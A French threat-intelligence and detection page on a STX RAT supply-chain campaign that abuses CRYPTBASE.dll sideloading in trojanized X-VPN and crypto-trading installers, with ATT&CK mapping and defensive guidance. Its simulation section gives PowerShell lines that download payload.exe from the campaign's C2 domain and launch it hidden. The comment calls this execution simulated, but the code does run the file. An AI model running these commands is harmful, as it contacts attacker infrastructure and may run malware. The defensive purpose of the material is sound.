Des portefeuilles crypto à un VPN de 100 millions d’utilisateurs : à l’intérieur d’une campagne active de chaîne d’approvisionnement STX RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Des chercheurs ont découvert une campagne active de chaîne d’approvisionnement dans laquelle un acteur menaçant a abusé du chargement de DLL avec un CRYPTBASE.dll malveillant pour déployer le cheval de Troie d’accès à distance STX RAT à travers des installateurs trojanisés pour un logiciel de trading de crypto-monnaies et le client X-VPN. L’opération s’est appuyée sur un seul dépôt Bitbucket pour distribuer les paquets infectés et a fait tourner des domaines de commande et de contrôle sous la racine supp0v3.com . En visant à la fois les utilisateurs d’outils d’échange financier et un service VPN largement utilisé, les attaquants se sont positionnés pour voler des identifiants et d’autres données sensibles à grande échelle. Le contenu de détection a été mis à jour pour couvrir la méthode de chargement partagée et l’infrastructure commune.
Enquête
Les analystes ont identifié 11 paquets malveillants qui utilisaient tous la même chaîne CRYPTBASE.dll de chargement pour charger STX RAT directement en mémoire. Les installateurs trojanisés étaient hébergés dans un dépôt Bitbucket nommé amos-trading, et les métadonnées de commit ont lié l’activité à l’alias Leda Elacoate. Après l’exposition publique, les opérateurs ont tourné l’infrastructure de helloworld.supp0v3.com to àwelcome.supp0v3.com. L’analyse YARA a confirmé que STX RAT était la charge finale dans chaque échantillon examiné.
Atténuation
X-VPN a résolu le problème dans la version Windows 77.5.3, qui impose un chargement strict des DLL à partir des répertoires système, effectue une validation du hachage des DLL au démarrage et applique des politiques de chargement par processus. Le blocage de supp0v3.com et de ses sous-domaines à la périphérie du réseau peut perturber le trafic de commande et de contrôle. Les organisations devraient également renforcer l’hygiène des téléchargements de logiciels et limiter les installations aux sources de fournisseurs vérifiées.
Réponse
Les défenseurs devraient signaler tout processus qui charge CRYPTBASE.dll depuis un chemin non-système et enquêter sur les signes d’exécution en mémoire de STX RAT. La règle YARA STX RAT publiée devrait être déployée sur les plateformes EDR, et le trafic HTTPS sortant vers supp0v3.com devrait être surveillé de près. Tous les points d’extrémité devraient être mis à jour à la version corrigée de X-VPN ou avoir le logiciel vulnérable supprimé. La chasse aux menaces devrait également se concentrer sur le comportement de chargement de code réfléchi associé à la chaîne de déballage multi-étape du malware.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef file fill:#ccccff classDef operator fill:#ff9900 %% Node definitions tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromettre la chaîne d’approvisionnement: Compromettre la chaîne d’approvisionnement logicielle</b><br/><b>Description</b>: l’attaquant a injecté un CRYPTBASE.dll malveillant dans des installateurs légitimes hébergés dans un dépôt Bitbucket."] class tech_supply_chain technique dll_cryptbase["<b>Fichier</b> – <b>Nom</b>: CRYPTBASE.dll (malveillant)"] class dll_cryptbase file file_installer["<b>Fichier</b> – <b>Nom</b>: Installateur Trojanisé (par exemple, Xu2011VPN, Binance, MEXC)"] class file_installer file tech_user_exec["<b>Technique</b> – <b>T1204.002 Exécution par l’utilisateur: Fichier malveillant</b><br/><b>Description</b>: les victimes téléchargent et exécutent l’installateur trojanisé."] class tech_user_exec technique tech_masquerade["<b>Technique</b> – <b>T1036.008 Masquarade: Masquer le type de fichier</b><br/><b>Description</b>: le paquet malveillant est présenté comme un installateur légitime de VPN ou de trading de crypto-monnaies."] class tech_masquerade technique tech_dll_hijack["<b>Technique</b> – <b>T1574.001 Détournement du flux d’exécution: DLL</b><br/><b>Description</b>: l’installateur charge CRYPTBASE.dll placé dans le répertoire du programme, amenant l’application légitime à charger la DLL malveillante."] class tech_dll_hijack technique tech_path_intercept["<b>Technique</b> – <b>T1574.008 Interception de chemin: Détournement de l’ordre de recherche</b><br/><b>Description</b>: l’ordre de recherche de DLL Windows charge la DLL de l’attaquant avant la copie système."] class tech_path_intercept technique tech_reflective["<b>Technique</b> – <b>T1620 Chargement de code réflectif</b><br/><b>Description</b>: la DLL malveillante décompresse et injecte la charge STX RAT en mémoire en utilisant le chargement réflectif, ne laissant aucun artefact sur le disque."] class tech_reflective technique tech_embedded["<b>Technique</b> – <b>T1027.009 Charges embarquées</b><br/><b>Description</b>: la DLL contient une chaîne de décompression multi-étapes embarquée et le cœur de STX RAT."] class tech_embedded technique malware_STX["<b>Malware</b> – <b>Nom</b>: STX RAT<br/><b>Fonction</b>: cheval de Troie d’accès à distance fournissant le vol d’identifiants et l’exfiltration de données."] class malware_STX malware tech_c2["<b>Technique</b> – <b>T1071.001 Protocole de couche application: Protocoles Web</b><br/><b>Description</b>: le RAT communique avec C2 via HTTPS vers des sous-domaines de supp0v3.com."] class tech_c2 technique tech_cred_browser["<b>Technique</b> – <b>T1555.003 Identifiants des navigateurs Web</b><br/><b>Description</b>: STX RAT collecte les identifiants de navigateur enregistrés, les jetons de session et les données des comptes système."] class tech_cred_browser technique tech_exfil["<b>Technique</b> – <b>T1041 Exfiltration via le canal C2</b><br/><b>Description</b>: les identifiants collectés et les données système sont exfiltrés via le même canal C2 HTTPS."] class tech_exfil technique %% Connections tech_supply_chain –>|injecte| dll_cryptbase dll_cryptbase –>|placé dans| file_installer file_installer –>|téléchargé et exécuté par la victime| tech_user_exec tech_user_exec –>|mène à| tech_masquerade tech_masquerade –>|permet| tech_dll_hijack tech_dll_hijack –>|utilise| tech_path_intercept tech_path_intercept –>|permet| tech_reflective tech_reflective –>|charge| malware_STX malware_STX –>|utilise| tech_embedded malware_STX –>|communique via| tech_c2 malware_STX –>|collecte| tech_cred_browser tech_cred_browser –>|les données exfiltrées via| tech_exfil "
Flux d’attaque
Détections
Possible infiltration/exfiltration de données/C2 via des services/outils tiers (via proxy)
Voir
IOC (HashSha256) à détecter : Des portefeuilles de cryptomonnaies à un VPN de 100 millions d’utilisateurs : À l’intérieur d’une campagne active de chaîne d’approvisionnement STX RAT
Voir
Détection de l’infrastructure C2 de Supp0v3.com dans la campagne STX RAT [Connexion réseau Windows]
Voir
Détection du chargement de CRYPTBASE.dll pour déployer STX RAT [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de télémétrie et de base a dû être réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Narration de l’attaque et commandes :
Un attaquant ayant compromis un compte utilisateur à faibles privilèges utilise une commande PowerShell en une ligne pour télécharger une charge malveillante depuis le serveur C2
helloworld.supp0v3.com. Cela tire parti de T1071.001 (Protocole Web C2) et T1204.002 (Exécution par l’utilisateur) tandis que la charge elle-même est obscurcie (T1027, T1027.009) et masquée en tant qu’exécutable légitime (T1036.005/008). La connexion sortante au domaine malveillant doit être capturée par le journal du pare-feu et par conséquent déclencher la règle Sigma.# Télécharger la charge malveillante du domaine C2 de Supp0v3 $url = "http://helloworld.supp0v3.com/payload.exe" $out = "$env:TEMPpayload.exe" Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out # Exécuter la charge (simulé - crée simplement un fichier factice) Start-Process -FilePath $out -WindowStyle Hidden -
Script de test de régression :
# TC-20260609-A1B2C – Simuler la connexion C2 STX RAT à helloworld.supp0v3.com try { # Étape 1 : Préparer une charge factice (éviter l'exécution réelle de logiciels malveillants) $payloadPath = "$env:TEMPpayload.exe" Set-Content -Path $payloadPath -Value "Ceci est un exécutable factice pour les tests." -Encoding ASCII # Étape 2 : Simuler une requête HTTP sortante vers le domaine malveillant $c2Url = "http://helloworld.supp0v3.com/payload.exe" Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath # Étape 3 : "Exécuter" la charge (pas d'exécution réelle par sécurité) Write-Host "Exécution simulée de la charge à $payloadPath" Write-Host "Simulation terminée - vérifier l'alerte SIEM." } catch { Write-Error "La simulation a échoué : $_" } -
Commandes de nettoyage :
# Supprimer la charge factice et tous les fichiers résiduels $payloadPath = "$env:TEMPpayload.exe" if (Test-Path $payloadPath) { Remove-Item -Path $payloadPath -Force Write-Host "Fichier de charge nettoyé." } else { Write-Host "Aucun fichier de charge trouvé - rien à nettoyer." }